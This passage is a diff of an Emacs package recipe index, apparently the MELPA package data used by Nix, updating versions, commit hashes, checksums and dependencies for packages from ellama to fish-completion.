"1rw7v8xks6rpjk10kw0lkb3f158jsqk6167f3dpmxm3q4000k8nz" }, "stable": { "version": [ - 2020, - 2, - 19 + 2024, + 1, + 16 ], - "commit": "7cc5ae4eac5bd8f38ade9ba1c28ad6faaba82160", - "sha256": "0mckgaz92v3y2vlkggx9kd51fd1mahylw39c42l51dyv8wscm7sc" + "commit": "bf22eddd42c8fcc52648d2cafd842f120d4dc591", + "sha256": "1pgg5z3z2pf0vps86lrkxfr36v4c24mpgvj551gixdlrm2s55p0l" } }, { @@ -29951,14 +30136,14 @@ "repo": "wkirschbaum/elixir-ts-mode", "unstable": { "version": [ - 20231115, - 1851 + 20240116, + 645 ], "deps": [ "heex-ts-mode" ], - "commit": "d56d5915d4540a4f55f495e27407637d0359c774", - "sha256": "02jys0wnp2s601mgqa6fi3jamjy1dprima1q594wdjf82av2n8sv" + "commit": "6db05baed9a34d01edf0bfdd804d951dedc6dccb", + "sha256": "1036gh81fhk3q0lfz0k10cxgxvkwq17148l2jcv2czcsmzqiaviq" } }, { @@ -29999,15 +30184,30 @@ "repo": "s-kostyaev/ellama", "unstable": { "version": [ - 20231105, - 1147 + 20240204, + 739 + ], + "deps": [ + "dash", + "llm", + "spinner" + ], + "commit": "81dc7414cbd637fb61c6541ce71ebb8092db9498", + "sha256": "1x08n2j0klsybfy86ikppgfbsslidjy8fpcqja9g7xslq39jp435" + }, + "stable": { + "version": [ + 0, + 7, + 5 ], "deps": [ + "dash", "llm", "spinner" ], - "commit": "702042c0bf79a4e81133fb2acb9031f5eae817b0", - "sha256": "182i95q0n6r2i774f66jkkmd172d4r8ybhqvayxfmgxr2ryfqwjg" + "commit": "3b70a560c0f04d02bf99dab2a7252ef4b67cf1e9", + "sha256": "1wgpfaihyidlybnh0f26df8k23w6kmwa50p827qlk0kg548r38d2" } }, { @@ -30406,8 +30606,8 @@ "repo": "jorgenschaefer/elpy", "unstable": { "version": [ - 20230803, - 1455 + 20240109, + 1445 ], "deps": [ "company", @@ -30416,8 +30616,8 @@ "s", "yasnippet" ], - "commit": "7ff8ffa918411887d165764f7a5a12bc46646e73", - "sha256": "0lh8w5a1abxaa7lf1c4yzgr0sh9szcwdnwd8w2004hv6mrcmyqc6" + "commit": "777e9909c8f1c11f1cfb8dbf5fe4a66d2ab95e1e", + "sha256": "0acnlp60f2c9fmjac51xjg9r8qr39al2v5j6yd2mb6hi95sxbz3c" }, "stable": { "version": [ @@ -30749,15 +30949,15 @@ "repo": "emacscollective/elx", "unstable": { "version": [ - 20230511, - 2113 + 20240101, + 2213 ], "deps": [ "compat", "llama" ], - "commit": "f3dfcb41c6471b8150cc19cea5ff96fe1321f5a1", - "sha256": "1m01fmhxgqrk22llwwafyg3a29h5bhrbdv9mpf6yyqdm2f37h3yb" + "commit": "2936dee72b2ef085c1c0a40817e67e868d44612c", + "sha256": "1md0kn4cwclv0i6fkrrinf2wjmr08cagxgv1sh6yja0hcvm37ygh" }, "stable": { "version": [ @@ -30781,11 +30981,11 @@ "repo": "tecosaur/emacs-everywhere", "unstable": { "version": [ - 20230706, - 1152 + 20240128, + 921 ], - "commit": "44775589ad050134adf433885be0a94398055630", - "sha256": "08r91hq82j44lksv23bdm0gxmb5xq4j70dr8z0lzbzvwwfgph8hy" + "commit": "fbeff19825336777dccaefedf3f376dd622cd294", + "sha256": "1lf1nzjr2vpnpb0aix4dq0wn1ixxwill8ii3p7i2aa14mh1p8bw1" } }, { @@ -30796,20 +30996,20 @@ "repo": "knu/emacsc", "unstable": { "version": [ - 20230326, - 1852 + 20240104, + 634 ], - "commit": "b4afd616c4ef160c58fc9a9682d3431b30a9d434", - "sha256": "0sl7kxdh4bh9irdq1x0w06g0wcn0d4j72dksrl8criq4q2srj4wv" + "commit": "9bec453a4170dbcb409b884e3e8d30f388de7b8d", + "sha256": "0w24vkxdl7z9yfijc1r02siz48sixdm3mygm5dig0b30kc76agz1" }, "stable": { "version": [ 1, - 4, - 20220420 + 5, + 20230104 ], - "commit": "199c08147ebe98da1004c478c92ba8866950b637", - "sha256": "0jmbvpqbywp25dgyq0pxxpggvcjkq8lpff37374if1rhiyj0qac2" + "commit": "9bec453a4170dbcb409b884e3e8d30f388de7b8d", + "sha256": "0w24vkxdl7z9yfijc1r02siz48sixdm3mygm5dig0b30kc76agz1" } }, { @@ -30835,11 +31035,11 @@ "repo": "magit/emacsql", "unstable": { "version": [ - 20230417, - 1448 + 20240124, + 1601 ], - "commit": "64012261f65fcdd7ea137d1973ef051af1dced42", - "sha256": "1x9r0pg2dv6n8dn1lwrvs9xfkxskr5pgw0sigspfqj3ycbpyz1ks" + "commit": "5aba772e562f0b22e36e34c9b4c256ffe439654c", + "sha256": "124x32dlpxfg1qb9ssvlnakakkzaz4wx9k5cv65fnhr9spl8d7j3" }, "stable": { "version": [ @@ -30859,14 +31059,14 @@ "repo": "magit/emacsql", "unstable": { "version": [ - 20230225, - 2205 + 20240119, + 2314 ], "deps": [ "emacsql" ], - "commit": "b436adf09ebe058c28e0f473bed90ccd7084f6aa", - "sha256": "1wc3j33cjshsckwk2s7xnfill6l5j5hnn0w03hqw2k81dfqvb8hc" + "commit": "1b8297b671a6e9df9554df5f62d7e0748a2200dd", + "sha256": "13mp0iqbr0sn8z119jmlhdgwl19s9rp0xlgsmdjfq3ssz04g8kyg" }, "stable": { "version": [ @@ -30921,14 +31121,14 @@ "repo": "magit/emacsql", "unstable": { "version": [ - 20230225, - 2205 + 20240119, + 2314 ], "deps": [ "emacsql" ], - "commit": "b436adf09ebe058c28e0f473bed90ccd7084f6aa", - "sha256": "1wc3j33cjshsckwk2s7xnfill6l5j5hnn0w03hqw2k81dfqvb8hc" + "commit": "ffd501a588e4ca884f949119e7c79d214dfd2ffa", + "sha256": "090ark8r2z5iw3gdk8xjh83nq4vwkbfyjm267l4q05ywlfb92dbl" }, "stable": { "version": [ @@ -30951,14 +31151,14 @@ "repo": "magit/emacsql", "unstable": { "version": [ - 20230225, - 2205 + 20240119, + 2314 ], "deps": [ "emacsql" ], - "commit": "b436adf09ebe058c28e0f473bed90ccd7084f6aa", - "sha256": "1wc3j33cjshsckwk2s7xnfill6l5j5hnn0w03hqw2k81dfqvb8hc" + "commit": "777abb9e9ed47245636cdc7ea814ce12ad11e2ac", + "sha256": "0x1cv4m36nsgyks3r5lyap521cayv302d568myw3s6h0licbdr6f" }, "stable": { "version": [ @@ -30981,14 +31181,14 @@ "repo": "magit/emacsql", "unstable": { "version": [ - 20230409, - 1847 + 20240119, + 2314 ], "deps": [ "emacsql" ], - "commit": "f25de357fee74aae7a538e8eae3d9be5eb55c20e", - "sha256": "1ff2qmgaxg3pfnb7avbbnqsmy3bl7spvx0g4dcdbmnlxvc2f0d5n" + "commit": "777abb9e9ed47245636cdc7ea814ce12ad11e2ac", + "sha256": "0x1cv4m36nsgyks3r5lyap521cayv302d568myw3s6h0licbdr6f" } }, { @@ -30999,15 +31199,15 @@ "repo": "magit/emacsql", "unstable": { "version": [ - 20230409, - 1847 + 20240119, + 2314 ], "deps": [ "emacsql", "sqlite3" ], - "commit": "f25de357fee74aae7a538e8eae3d9be5eb55c20e", - "sha256": "1ff2qmgaxg3pfnb7avbbnqsmy3bl7spvx0g4dcdbmnlxvc2f0d5n" + "commit": "777abb9e9ed47245636cdc7ea814ce12ad11e2ac", + "sha256": "0x1cv4m36nsgyks3r5lyap521cayv302d568myw3s6h0licbdr6f" } }, { @@ -31114,25 +31314,25 @@ "repo": "oantolin/embark", "unstable": { "version": [ - 20231112, - 1138 + 20240131, + 1248 ], "deps": [ "compat" ], - "commit": "3f08fc8ede9dddad3752223e01643058594781b2", - "sha256": "1a08mpfq79mc1n4g9d07wjf7cm0bgi9a3gxkfdsyw52sy82fdr1b" + "commit": "99484b04ec72b9febfb2175b075ba55e40bcbf72", + "sha256": "12xsh782cs1vk2h5apzv94x0y247s2ww2sx5634bf61prlbgy2d3" }, "stable": { "version": [ - 0, - 23 + 1, + 0 ], "deps": [ "compat" ], - "commit": "07af44c7de72efde79ac563cbecdfff0b48d8411", - "sha256": "1dmsaw1m819kzmai45c4cqh5lyyha451f7dxzwwfz9crmzg2w5sf" + "commit": "47b0c75d4bf4f72a7af839667c877c80bd493cdb", + "sha256": "14alpanynww6z7yxxyiiy24c0p4pq1argsb0pmqavq25mdxgn4v2" } }, { @@ -31143,27 +31343,29 @@ "repo": "oantolin/embark", "unstable": { "version": [ - 20230919, - 1907 + 20240128, + 1843 ], "deps": [ + "compat", "consult", "embark" ], - "commit": "07af44c7de72efde79ac563cbecdfff0b48d8411", - "sha256": "1dmsaw1m819kzmai45c4cqh5lyyha451f7dxzwwfz9crmzg2w5sf" + "commit": "9d6d4139bf66aa172ac96a6d0918d591455497c3", + "sha256": "1dcr7daanvmh0fcrnv4gds7nxfjipm93yi084hx1l2hilxdm4xfz" }, "stable": { "version": [ - 0, - 23 + 1, + 0 ], "deps": [ + "compat", "consult", "embark" ], - "commit": "07af44c7de72efde79ac563cbecdfff0b48d8411", - "sha256": "1dmsaw1m819kzmai45c4cqh5lyyha451f7dxzwwfz9crmzg2w5sf" + "commit": "47b0c75d4bf4f72a7af839667c877c80bd493cdb", + "sha256": "14alpanynww6z7yxxyiiy24c0p4pq1argsb0pmqavq25mdxgn4v2" } }, { @@ -31319,28 +31521,28 @@ "url": "https://git.savannah.gnu.org/git/emms.git", "unstable": { "version": [ - 20231110, - 2356 + 20240202, + 2122 ], "deps": [ "cl-lib", "nadvice", "seq" ], - "commit": "e4bba7abbcebdc76d9b709846867d50f8bc98513", - "sha256": "05c63pq3wjmg3ahndsnk67mvv6hv38p5wfd2v7awbngf3la9rrcv" + "commit": "87d0d1fb0566a80229029d0d8d7c863138d70aae", + "sha256": "0m54hj86snq8hr20dgm01zikab59sqzdf3byz18a76fv6930q8hd" }, "stable": { "version": [ - 16 + 18 ], "deps": [ "cl-lib", "nadvice", "seq" ], - "commit": "68fb73cbf7ca030506c585cbbe03efbb798f27e9", - "sha256": "0mx4qzdkz8sss61fl6vimsm4fd8h7jmcrhflibm1dbfaxalbp9rs" + "commit": "174a9f1e6a67830cf24c05eb6b99ab3fb11a579e", + "sha256": "0awdjsk5ihd52qp3878w732z2infwh5h32n54gz6g23bzm0pdjn6" } }, { @@ -31463,10 +31665,10 @@ }, { "ename": "emms-soundcloud", - "commit": "19e423525255371cf479842885eca07e801f6d00", - "sha256": "0nf1f719m4pvxn0mf4qyx8mzwhrhv6kchnrpiy9clx520y8x3dqi", + "commit": "952c7a383d39825805127bd709fa60ac77ef724d", + "sha256": "13vpcgqhhxhvgf22jpqidb9a1q4l1x9m8kfdv9ba9h009xf2a1pi", "fetcher": "github", - "repo": "osener/emms-soundcloud", + "repo": "ozanmakes/emms-soundcloud", "unstable": { "version": [ 20131221, @@ -31586,15 +31788,15 @@ "repo": "jcs-elpa/emoji-github", "unstable": { "version": [ - 20220704, - 648 + 20240101, + 935 ], "deps": [ "emojify", "request" ], - "commit": "a25c5e4e41c32ee7b3f7707b3d1281929f810d92", - "sha256": "16fila51fzirfbps7466fsajhzdqaximsgh5y5bklb4q3livz02i" + "commit": "0f42d10854239b751a2ae06caa43bcf387f43d4d", + "sha256": "0pbm7yfp0swyrn8dnyf0fn6yih32wmjwji2qn9v27lkxmsm9v6vy" }, "stable": { "version": [ @@ -31697,14 +31899,15 @@ "repo": "isamert/empv.el", "unstable": { "version": [ - 20231007, - 1911 + 20240203, + 2126 ], "deps": [ + "compat", "s" ], - "commit": "4af3b3624a4714558081d693c91602b9304e8fcb", - "sha256": "07xwxqjzah7dg62q0sz6ii8gi1aianqzp51aqql7mg8hyssjzpyj" + "commit": "a0e362e5ba0be6c7cf96076d61a192cced7bdcc0", + "sha256": "196bbpxxrni0jlrskyyp8vhg41xsjnq6rbclxrp36hh11v0pxb07" }, "stable": { "version": [ @@ -32144,8 +32347,8 @@ "repo": "emacscollective/epkg", "unstable": { "version": [ - 20231009, - 2058 + 20240116, + 1941 ], "deps": [ "closql", @@ -32153,8 +32356,8 @@ "emacsql", "llama" ], - "commit": "2a002fbded9fdc51e45e4d4eb47a30becda3266c", - "sha256": "0c1ikfpkgkmlv5jgxp950b5bk3bkzdhny5mn18gl5qbpzl59igfi" + "commit": "7f7137e96dd91786e0cf5c8ecb674aeaaf22a49d", + "sha256": "02mc0sc8i4dqshblbnwws2a0l7bxcswlc21jyfv23gk0pm2wgbxw" }, "stable": { "version": [ @@ -32177,8 +32380,8 @@ "repo": "emacscollective/epkg-marginalia", "unstable": { "version": [ - 20230603, - 1401 + 20240101, + 2215 ], "deps": [ "compat", @@ -32186,8 +32389,8 @@ "llama", "marginalia" ], - "commit": "f5eda857a99d02aad9e89bd80c327930e815fc8a", - "sha256": "04z5xgcrl2q37fgr9bb1fwnspnn7zq5svmfkfslfmzbb3klvdkcw" + "commit": "b8c9fb165ec832b2e930092ce8abe039d415a117", + "sha256": "12bf6ly08lhjssl8p257v9dz5w9inv8wq1fb4phprnpcggswxlhc" }, "stable": { "version": [ @@ -32750,15 +32953,15 @@ "repo": "ergoemacs/ergoemacs-mode", "unstable": { "version": [ - 20230207, - 1551 + 20240129, + 1407 ], "deps": [ "cl-lib", "nadvice" ], - "commit": "c2a918c6ab13e29dba2caf2bd06496babd0dfca6", - "sha256": "0lbdxc1gwn7lgphkvwfr6jqzs1nwf60wly3n4xiyzjlw6v0ilxd4" + "commit": "095129648e9846fbda1f585806de39c12e82f37e", + "sha256": "0bwvfgrn44hwswnmkhb3qsvgmaphh4c9vxwdy1rrj9x11n0c54z1" }, "stable": { "version": [ @@ -32811,10 +33014,11 @@ "version": [ 2, 6, - 4 + 4, + 1 ], - "commit": "f42acb696e43d382639f04f869e9a99ab36a91c6", - "sha256": "0n4avd58j45rdcmnwgrmz5s0ril0z4n2z711mwwbahl50f7359ky" + "commit": "4293e0a94d15acac915ab9088b2ec028f78d14a9", + "sha256": "00yfwwqv4dyka5yg4m9w5dfd9ajn5z51lg7dakj6d03lay76dhh7" } }, { @@ -32825,16 +33029,16 @@ "repo": "positron-solutions/elisp-repo-kit", "unstable": { "version": [ - 20231106, - 404 + 20231227, + 1449 ], "deps": [ "auto-compile", "dash", "license-templates" ], - "commit": "49611de3ed000b5872c63270dd66efa0e6bf76c9", - "sha256": "1fq1fsgs0dklal5d3gxbb8anaw9kgixpcjzyvvia7lxzlfc7chqv" + "commit": "0d9906415a649caff2df7b4b1b3f8f6cc337032a", + "sha256": "01cwc63zh7ma4ar793mpzmai1jylgds3zhdp1fc3q2ff8w3h8rzf" }, "stable": { "version": [ @@ -32868,11 +33072,11 @@ "stable": { "version": [ 26, - 1, - 2 + 2, + 1 ], - "commit": "c41d424db42ba84b72f3e25167470c3555723d87", - "sha256": "0h7v9py78c66nn56b7xrs7lcah21vixxyw6d4f4p5z7k1rvcn4kv" + "commit": "ca8b893f9d5bdd0957b78514ba523032e762c644", + "sha256": "0b0gaalybrni5v3bcm2q0iybicspxyzqnifncyjpskx26xhki971" } }, { @@ -33010,6 +33214,30 @@ } }, { + "ename": "ert-results", + "commit": "f9efdf1e970398a0a686a587e4678a650534b171", + "sha256": "1wm43jyxxyjq83cicidf4xs5rgxsp3954hjsm6q6vx4wbn2x40qv", + "fetcher": "github", + "repo": "rswgnu/ert-results", + "unstable": { + "version": [ + 20240108, + 1358 + ], + "commit": "32200a195f68c25a013497329d85ae0703ab475d", + "sha256": "1jpvk5dk0jvjz7r9vscbiwh2k7s0x3njnmhwcfz29rcmja82hz2j" + }, + "stable": { + "version": [ + 1, + 0, + 6 + ], + "commit": "b89ffb3d719e24bb29a9d57cf189f5962caafdd4", + "sha256": "1h12hjw2kj0xnbqkqmpxshq887zp892vbpqgfk6k0nvv27m2jhks" + } + }, + { "ename": "ert-runner", "commit": "0a1acc68f296e80b6ed99a1783e9f67be54ffac9", "sha256": "0fnb8rmjr5lvc3dq0fnyxhws8ync1lj5xp8ycs63z4ax6gmdqr48", @@ -33832,23 +34060,20 @@ "repo": "emacs-ess/ESS", "unstable": { "version": [ - 20230807, - 1422 + 20240131, + 1037 ], - "commit": "d8914196ceb2061d850cc899aed79342519972ff", - "sha256": "11pkachbn0lj4qx8xmaaknrx8223hrmq55vqs6apl1a9s9dg62bs" + "commit": "d8472e00da8fde3224d4512641093b526601af39", + "sha256": "094pwdzklzqk9gvf7z9phaxbwvw8hpghk2q05zrdyxjr4rmvq9bc" }, "stable": { "version": [ - 18, - 10, - 2 - ], - "deps": [ - "julia-mode" + 24, + 1, + 0 ], - "commit": "0728c6fdf8e13f10ee50b27fb3f39e7c229f05b1", - "sha256": "1yq41l2bicwjrc0b731iic20cpcnz6ppigri1jn621qv2qv22vy3" + "commit": "0ef7e6878f47d2492a371be5947e895c4b3dfeb8", + "sha256": "10j315plrpl4yax2srv9r2l7kdr0qqz8h3g2n4s7c1rhpzpfgyh2" } }, { @@ -34000,15 +34225,15 @@ "repo": "ShuguangSun/ess-view-data", "unstable": { "version": [ - 20230503, - 643 + 20240127, + 1701 ], "deps": [ "csv-mode", "ess" ], - "commit": "c0b20e503c772eebbef6bbc6c89a707ba6ec42ec", - "sha256": "1ig2bsl0hqq21rza7ydcw15zdz5jfg076fyhnnk57gkp9ihna7mz" + "commit": "c077741bc3386a469635ca7438db4cf58b7541b9", + "sha256": "0gbim8hkflj5cxg84wnv32zfwacri3v26azmcfzh6w3mkflfp1bq" }, "stable": { "version": [ @@ -34474,15 +34699,15 @@ "repo": "emacs-evil/evil", "unstable": { "version": [ - 20231106, - 1213 + 20240128, + 957 ], "deps": [ "cl-lib", "goto-chg" ], - "commit": "c4f95fd9ec284a8284405f84102bfdb74f0ee22f", - "sha256": "07frgwzj6jfrcln6vc4c0pahgfrbrky50gz3mzck781xpmvkhwj9" + "commit": "5995f6f21f662484440ed67a28ce59e365feb9ad", + "sha256": "0fzcxddxn19bjca3lszbgssdi17lj5nvynxnmrh8ckrcnf86kivf" }, "stable": { "version": [ @@ -34604,8 +34829,8 @@ "repo": "emacs-evil/evil-cleverparens", "unstable": { "version": [ - 20231001, - 1423 + 20240103, + 926 ], "deps": [ "dash", @@ -34613,8 +34838,8 @@ "paredit", "smartparens" ], - "commit": "134fe3396f975fb1ad261f52cd113f42ac1da4fc", - "sha256": "1jaakqfrhb0xr1ffph9qnpl0hlgggskz0lz9d880v6dlkg6w7z85" + "commit": "e8ccec32867e12d70a7cff5c70e4ac91f58dbd20", + "sha256": "1pyzn3knh9rbyzmk7jsb9z1vjsgvc020k2mjnsdl5szib5bvjm6m" } }, { @@ -34675,15 +34900,15 @@ "repo": "emacs-evil/evil-collection", "unstable": { "version": [ - 20231019, - 1228 + 20240118, + 856 ], "deps": [ "annalist", "evil" ], - "commit": "18304d9d9e4243687a7bf915dc7e591a216873c6", - "sha256": "1qcnxs22ghan5jsla05cprvgl6mswyaymby2z2yrhykrch4zak7g" + "commit": "8c84f9bc89fe56e71b56519f886085ddcbc671cf", + "sha256": "1m1lqldbp8xs8b5n6kz181w0lbdbgp1lllnfmw65y346xx0ycm7x" }, "stable": { "version": [ @@ -34806,15 +35031,15 @@ "repo": "emacsorphanage/evil-escape", "unstable": { "version": [ - 20221010, - 2116 + 20231122, + 2114 ], "deps": [ "cl-lib", "evil" ], - "commit": "3c335a5709b1abb08687960038746b36add465f9", - "sha256": "1z30v59igndqzxg9gcx4bsbf5jkh11wp936il8azkrz3qdryaj4a" + "commit": "bdb1e69971520cbd65fe61830a1cdea5734d743c", + "sha256": "0vdmzp4hxqvng5pw3iz7flc36ndaphnia8s1cg229i8vm27lrmqy" }, "stable": { "version": [ @@ -36158,15 +36383,14 @@ "repo": "laishulu/evil-textobj-syntax", "unstable": { "version": [ - 20231016, - 1544 + 20231119, + 1633 ], "deps": [ - "evil", - "names" + "evil" ], - "commit": "c1a7afe81bca3da6a2fdc7ea9376fdc2e1e9249c", - "sha256": "1xlav0ii17b4j3d7q6mkn48q3cxnmq0kyipxrayqn5njn6rg31ap" + "commit": "64252ded690a2e65b71a1c84aa3acd24e704d02f", + "sha256": "1p85qq8zag3cvpsx4pgh0hd3a6gj5p802zb28077fhqbzmywnjmg" } }, { @@ -36177,11 +36401,11 @@ "repo": "meain/evil-textobj-tree-sitter", "unstable": { "version": [ - 20231115, - 1445 + 20231222, + 1559 ], - "commit": "9a9edd42a2dca9dfd0bc6026d47f689fa117b90f", - "sha256": "0j2zrhdffr3i9bwnaam5n908xmaq9z230sx6flid94cp9pvsxmxb" + "commit": "220ceae065852ef4f717fa41efd1ab51ca2346d3", + "sha256": "0a7wg9gzgisi4hzxm3yxclzgwiqw9vd7bc9f5nz1ry2xdk0hbna4" } }, { @@ -36210,8 +36434,8 @@ "repo": "ethan-leba/tree-edit", "unstable": { "version": [ - 20231108, - 1749 + 20231206, + 1836 ], "deps": [ "avy", @@ -36220,8 +36444,8 @@ "tree-edit", "tree-sitter" ], - "commit": "f5e2b467f14a2980dbe1a862ce0b27e768b2e980", - "sha256": "1xf4aygk4vc0pi590ca9nm1j9s64bv018xz5w8g4ln7rgpwdk408" + "commit": "9e3635e3fd0449bf259d42ea29c93e46ef623fe7", + "sha256": "1m386ybbai27la2aqkran5srrc98braibqzfdzrs8i0906gp8lk7" } }, { @@ -36801,10 +37025,10 @@ "repo": "magnars/expand-region.el", "unstable": { "version": [ - 20231020, - 620 + 20240119, + 1039 ], - "commit": "9e3f86c02c5e2ab6f0d95da8a34045b54f6166d1", + "commit": "e8f4e0fe9c9a80a6a26e2b438502aba9a799d580", "sha256": "0mw1jlgdp17k56rq4g801z7y35h4infm9cy3mh8jw5wqqar5ifa6" }, "stable": { @@ -36955,11 +37179,11 @@ "url": "https://repo.or.cz/external-dict.el.git", "unstable": { "version": [ - 20230926, - 748 + 20231129, + 1043 ], - "commit": "5ff41c9151647ef68bf61eff318fc76a3fe558f2", - "sha256": "1rwhkxxs5hzpc80qza7rfxh18q3hs02azlcal468zl3q67vhwnaw" + "commit": "17807ac7e671b44da495e7e3fac5b8cb72a25feb", + "sha256": "1vb6xpwpvr0ly36rzbk7hvxxmr33yb0sif0x0sc5ld4zigr23xl6" } }, { @@ -37110,14 +37334,14 @@ "repo": "SqrtMinusOne/exwm-modeline", "unstable": { "version": [ - 20230331, - 1747 + 20231225, + 2340 ], "deps": [ "exwm" ], - "commit": "852a88a58714e3e59675b79b185f036f7b0300e8", - "sha256": "1al02ikfjc2nxlfd0gwn9a92rs3v8g3590130nqghmmpvagl9vj9" + "commit": "f72e65818f90c754edb8d0dcff47e8248a7f0a56", + "sha256": "1qwxhkp5phbnzfijxlg7ldr68wpny4y07khhlbik3s6bn6829afh" }, "stable": { "version": [ @@ -37303,15 +37527,15 @@ "repo": "rejeep/f.el", "unstable": { "version": [ - 20230823, - 1159 + 20231219, + 750 ], "deps": [ "dash", "s" ], - "commit": "ab3ee3811c53f9c2144ff45130361f3da242ffa2", - "sha256": "07jsgq8jx1dxwlij61pbzsmlb047jsbk1ssr1d8301kssaa9qls8" + "commit": "634b0ecdeaa192ef0dd10db312a67ebe5c2d5852", + "sha256": "1ziaagd1j076c89w8kw09slmixhxhczi51a5m8wwmhhn4jks3f6r" }, "stable": { "version": [ @@ -37513,11 +37737,11 @@ "repo": "ideasman42/emacs-fancy-compilation", "unstable": { "version": [ - 20230824, - 22 + 20231228, + 2247 ], - "commit": "32dc801a921428e4abaeb826449c86fc3c96c0f8", - "sha256": "1hk4dkddrgdy1l03dscmnsgghp1y92mkngkacr7vv8wx3lsixm8w" + "commit": "74833d618024cee47c24aabdc6e9daa4009d0690", + "sha256": "1c8rfhab3bi8aw0kyrcb7dz6zcknv3r5dcnrq4z784pqs1gjdq2l" } }, { @@ -37824,11 +38048,11 @@ "repo": "cute-jumper/fcitx.el", "unstable": { "version": [ - 20190806, - 1923 + 20240121, + 1829 ], - "commit": "12dc2638ddd15c8f6cfaecb20e1f428ab2bb5624", - "sha256": "0ahw2pi6i693s4mdjdkisy94yvg0wgmd3c6zi0z4yi60b6irskdn" + "commit": "b399482ed8db5893db2701df01db4c38cccda495", + "sha256": "0hpkyjil50b4wgl8wvlfg8g76m2mjl45wa316wdqyiwnq2mvif13" }, "stable": { "version": [ @@ -37880,36 +38104,6 @@ } }, { - "ename": "feather", - "commit": "ffb7d037679110473a8c3f9e98f737ecaba37c40", - "sha256": "1k3sxwpibk5sdim4pzfi83pzsm4vnq0xl006dy76pv363r9mvs21", - "fetcher": "github", - "repo": "conao3/feather.el", - "unstable": { - "version": [ - 20200321, - 1237 - ], - "deps": [ - "async", - "async-await", - "page-break-lines", - "ppp" - ], - "commit": "529b7ec69f1694d7dc8aacb5066cf4ddcf24cc58", - "sha256": "0flph6yv5fj5ladksjqfpj9j8p2jcc102kbc833bvx1cnmjx7qk4" - }, - "stable": { - "version": [ - 0, - 0, - 1 - ], - "commit": "4cb69055cfc42841bad1de072f69dd6923899766", - "sha256": "1fq5ysxwiaah56rizkc47vjqi8906af3ga1n1frvrvap8m9vdz4m" - } - }, - { "ename": "feature-mode", "commit": "0a70991695f9ff305f12cfa45e0a597f4a782ba3", "sha256": "0ryinmpqb3c91qcna6gbijcmqv3skxdc947dlr5s1w623z9nxgqg", @@ -37940,14 +38134,14 @@ "repo": "martianh/fedi.el", "unstable": { "version": [ - 20231112, - 911 + 20231230, + 1108 ], "deps": [ "markdown-mode" ], - "commit": "e606fd40de36ad2131d027dec4f254e59a120dd5", - "sha256": "1chzzpk19z0siylh3z9sc05pjhibj9ld37iakc2v082dhd3f3sxk" + "commit": "4d776332d6425a917cb437fc17831fa834c881d2", + "sha256": "1bqaapxhp1517sp0x07d0mlzq3zg721fppa6q09zz8hjsjjx5p0c" } }, { @@ -38056,15 +38250,15 @@ "repo": "jcs-elpa/ffmpeg-player", "unstable": { "version": [ - 20220704, - 641 + 20240101, + 926 ], "deps": [ "f", "s" ], - "commit": "2c41d715b012f399e661a816376824a8dea0b941", - "sha256": "1s41kxjdj70a3mf1mldmgv0gd4hqd0bx9nmb3kn5f3z4wjnhns6x" + "commit": "c3808dc1c39499a81e1b9463526fda924fd1f062", + "sha256": "0j0l5239wd14bf0qjr51d0vsx5cbbsfc02qzxzs163lkp9kklzr9" }, "stable": { "version": [ @@ -38152,15 +38346,15 @@ "repo": "Artawower/file-info.el", "unstable": { "version": [ - 20230929, - 924 + 20231207, + 2041 ], "deps": [ "browse-at-remote", "hydra" ], - "commit": "21fb5d779be88364e464e54c8bb94d04518f6474", - "sha256": "1gj41r4fyiq876bg57a3kvxbf53x2dww4vhs551mqn8sak3lwmlv" + "commit": "158524c92f37eeccf55e096f3090db2baa12fbae", + "sha256": "0l17mmail2gcz71rmk2p1p4lf0lc10mhj5pdq1c1dpppri42cbwm" }, "stable": { "version": [ @@ -38285,11 +38479,11 @@ "repo": "jcs-elpa/fill-page", "unstable": { "version": [ - 20220704, - 650 + 20240101, + 930 ], - "commit": "916f4ee74d4290575795042ed09a1c81eb66ba8f", - "sha256": "0biw3p4jznc8zhm1yi8rdj42j4phxkq3nksnm2vp340vsl4xb4ln" + "commit": "c2bf4d4661c7f618e3c3334dbfd9a142371806d6", + "sha256": "1rgb4jj0fz37h09f9zyn8915mfc8x6dhhqbizq6vsq66cdcb1gac" }, "stable": { "version": [ @@ -38557,8 +38751,8 @@ "repo": "LaurenceWarne/finito.el", "unstable": { "version": [ - 20230921, - 1805 + 20231209, + 1912 ], "deps": [ "async", @@ -38569,8 +38763,8 @@ "s", "transient" ], - "commit": "8ae51b38a496f01b379b1535c6935d36d786b13a", - "sha256": "1agpg6d8y6ib6w05dvpidigx5nc9r42asl38s3aav2sj440sr8lh" + "commit": "15e5870843751bd3d7bb5e2bcafe4cb2d859706e", + "sha256": "1chz9sa1x0rcrpnl998xzij1ac5ryllka9jn8w8bmslk1axdf5cg" }, "stable": { "version": [ @@ -38699,26 +38893,26 @@ "repo": "IBM/firrtl-mode", "unstable": { "version": [ - 20230815, - 1312 + 20231127, + 1237 ], - "commit": "45ec466d2945c2893ca4d6b24ff3816fceb8f1b2", - "sha256": "0k6n9js7af5asj1cxpplc7blw92mrdp1s3p2pdcdbxkrk9qx020r" + "commit": "0c7d971899f93367b78e13d70d64cfb89d80b45c", + "sha256": "10xhyfs91c2mwlb1d4x72wq5nf2yc5701slissiflp965igfw6d0" } }, { "ename": "fish-completion", - "commit": "6d17ca0213ba5ef9dce92002e281e6f08c3492be", - "sha256": "1y7vwh7w0shnrnp8x1m1sa0p7kdyz5mg1mfs263gm38in2biym9i", - "fetcher": "gitlab", - "repo": "Ambrevar/emacs-fish-completion", + "commit": "cbf0664a035ab6419cd78634ca583339c3bd1599", + "sha256": "0hnji71fpp91ppy2pvm78r8q1zx5php1gjclhvglcc1hyz47kawq", + "fetcher": "github", + "repo": "LemonBreezes/emacs-fish-completion", "unstable": { "version": [ - 20191103, - 1210 + 20231028, + 2123 ], - "commit": "10384881817b5ae38cf6197a077a663420090d2c", - "sha256": "17lqip1i1rrsvxzz4bx9rqf1fvwd3hriwg3sj6qxmfc8pylnp37q" + "commit": "99f0672c20ea61d21f106183e80f32c0c6525faa", + "sha256": "037cp4scia8pimn32j70vkf8c6rzipv1nm5r18z5v4lfdbiyyw0v" }, "stable": { "version": [ @@ -38737,11 +38931,11 @@ "repo": "wwwjfy/emacs-fish", "unstable": { "version": [ - 20230326, - 1604 + 20240129, + 1213 ], - "commit": "6869efbc05cdb628209338bf57fe52742e53d956", - "sha256": "0ancsmnliqhc7fn82pa6flp02rczg0gwh17gpfp60jpi3mv1niws" + "commit": "2526b1803b58cf145bc70ff6ce2adb3f6c246f89", + "sha256": "1n2f4kklz5vlb1h1p604ww7vgyvi2hfsnkyhrlw5d9pp4dh4lh46" }, "stable": { "version": [ @@ -39114,15 